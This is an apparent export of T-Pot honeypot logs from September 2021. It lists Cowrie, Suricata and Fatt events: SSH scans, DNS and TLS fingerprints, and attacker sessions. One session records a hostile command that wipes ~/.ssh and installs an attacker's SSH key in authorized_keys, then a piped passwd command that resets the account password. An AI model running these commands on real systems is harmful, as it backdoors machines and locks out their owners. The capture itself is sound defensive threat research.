20344	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:20.24907+03	2021-09-20 14:15:02.257616+03	{"_id": "IQXeAnwBvYTbRNuE_veP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:20.249070Z", "@timestamp": "2021-09-20T11:02:20.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20337	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:02:08.106972+03	2021-09-20 14:15:02.248614+03	{"_id": "qgXeAnwBvYTbRNuEzvbd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:02:07.103328+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 683470664733600, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 42463, "dest_port": 22, "timestamp": "2021-09-20T11:02:08.106972Z", "@timestamp": "2021-09-20T11:02:08.106Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
20338	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.022507+03	2021-09-20 14:15:02.249613+03	{"_id": "2gXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.session.params", "message": [], "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.022507Z", "@timestamp": "2021-09-20T11:02:16.022Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
20339	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.023048+03	2021-09-20 14:15:02.250613+03	{"_id": "3AXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \\"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.023048Z", "@timestamp": "2021-09-20T11:02:16.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20340	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.4582+03	2021-09-20 14:15:02.251614+03	{"_id": "6AXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.458200Z", "@timestamp": "2021-09-20T11:02:16.458Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
20341	91.200.124.7	109.199.241.180	Cowrie	2021-09-20 14:02:16.714498+03	2021-09-20 14:15:02.253612+03	{"_id": "3wXeAnwBvYTbRNuE7vbt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.200.124.7", "asn": 43312, "as_org": "I-LAN LLC", "latitude": 50.5218, "location": {"lat": 50.5218, "lon": 30.2506}, "timezone": "Europe/Kiev", "city_name": "Irpin", "longitude": 30.2506, "postal_code": "08200", "region_code": "32", "region_name": "Kyiv", "country_name": "Ukraine", "country_code2": "UA", "country_code3": "UA", "continent_code": "EU"}, "input": "echo \\"subhana\\\\n5SzgPOOxjqw9\\\\n5SzgPOOxjqw9\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.200.124.7", "eventid": "cowrie.command.input", "message": "CMD: echo \\"subhana\\\\n5SzgPOOxjqw9\\\\n5SzgPOOxjqw9\\\\n\\"|passwd", "session": "adb85be76cac", "@version": "1", "timestamp": "2021-09-20T11:02:16.714498Z", "@timestamp": "2021-09-20T11:02:16.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
20345	5.188.62.196	109.199.241.180	Cowrie	2021-09-20 14:02:07.591172+03	2021-09-20 14:15:02.258614+03	{"_id": "owXeAnwBvYTbRNuEzPYS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.196", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.196", "eventid": "cowrie.session.closed", "message": "Connection lost after 180 seconds", "session": "6157905de375", "@version": "1", "duration": 180.26082515716553, "timestamp": "2021-09-20T11:02:07.591172Z", "@timestamp": "2021-09-20T11:02:07.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20346	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:02:29.955511+03	2021-09-20 14:15:02.259615+03	{"_id": "RAXfAnwBvYTbRNuEJPfW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 63525, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2497, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2077606313037420, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 39332, "timestamp": "2021-09-20T11:02:29.955511Z", "@timestamp": "2021-09-20T11:02:29.955Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20347	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:02:30.361942+03	2021-09-20 14:15:02.260615+03	{"_id": "RQXfAnwBvYTbRNuEJPfW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31263, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 2021690133874134, "@version": "1", "in_iface": "enp5s0", "src_port": 49220, "dest_port": 53, "timestamp": "2021-09-20T11:02:30.361942Z", "@timestamp": "2021-09-20T11:02:30.361Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20348	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:30.010081+03	2021-09-20 14:15:02.262615+03	{"_id": "RwXfAnwBvYTbRNuEJfds", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34688, "dest_port": 443, "timestamp": "2021-09-20T11:02:30.010081", "@timestamp": "2021-09-20T11:02:30.010Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20349	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:02:30.453712+03	2021-09-20 14:15:02.263615+03	{"_id": "SQXfAnwBvYTbRNuEJfds", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34690, "timestamp": "2021-09-20T11:02:30.453712", "@timestamp": "2021-09-20T11:02:30.453Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20350	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:02:30.363931+03	2021-09-20 14:15:02.264615+03	{"_id": "QwXfAnwBvYTbRNuEJPfW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 31263, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2496, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2021690133874134, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 49220, "timestamp": "2021-09-20T11:02:30.363931Z", "@timestamp": "2021-09-20T11:02:30.363Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
20351	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:02:30.053115+03	2021-09-20 14:15:02.265643+03	{"_id": "RgXfAnwBvYTbRNuEJfds", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34688, "timestamp": "2021-09-20T11:02:30.053115", "@timestamp": "2021-09-20T11:02:30.053Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20352	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:30.413209+03	2021-09-20 14:15:02.266645+03	{"_id": "SAXfAnwBvYTbRNuEJfds", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34690, "dest_port": 443, "timestamp": "2021-09-20T11:02:30.413209", "@timestamp": "2021-09-20T11:02:30.413Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
20353	114.67.95.121	109.199.241.180	Suricata	2021-09-20 14:02:53.440516+03	2021-09-20 14:15:02.268662+03	{"_id": "XQXfAnwBvYTbRNuEfve3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "114.67.95.121", "dest_ip": "192.168.20.116", "flow_id": 905559131560817, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49324, "dest_port": 22, "timestamp": "2021-09-20T11:02:53.440516Z", "@timestamp": "2021-09-20T11:02:53.440Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20354	114.67.95.121	109.199.241.180	Cowrie	2021-09-20 14:02:53.182112+03	2021-09-20 14:15:02.269643+03	{"_id": "YgXfAnwBvYTbRNuEf_eD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "114.67.95.121", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 114.67.95.121:49324 (192.168.176.2:22) [session: be5c8e8309ff]", "session": "be5c8e8309ff", "@version": "1", "protocol": "ssh", "src_port": 49324, "dest_port": 22, "timestamp": "2021-09-20T11:02:53.182112Z", "@timestamp": "2021-09-20T11:02:53.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20355	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:02:53.185796+03	2021-09-20 14:15:02.270652+03	{"_id": "YwXfAnwBvYTbRNuEf_eD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "114.67.95.121", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 49324, "timestamp": "2021-09-20T11:02:53.185796", "@timestamp": "2021-09-20T11:02:53.185Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
20356	114.67.95.121	109.199.241.180	Suricata	2021-09-20 14:02:53.442964+03	2021-09-20 14:15:02.272614+03	{"_id": "XgXfAnwBvYTbRNuEfve3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:02:52.924529+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "114.67.95.121", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "114.67.95.121", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 905559131560817, "payload": "AAADzAYUJQ5vlwBz3Pir1xRxL/fYCQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 49324, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:02:53.442964Z", "@timestamp": "2021-09-20T11:02:53.442Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 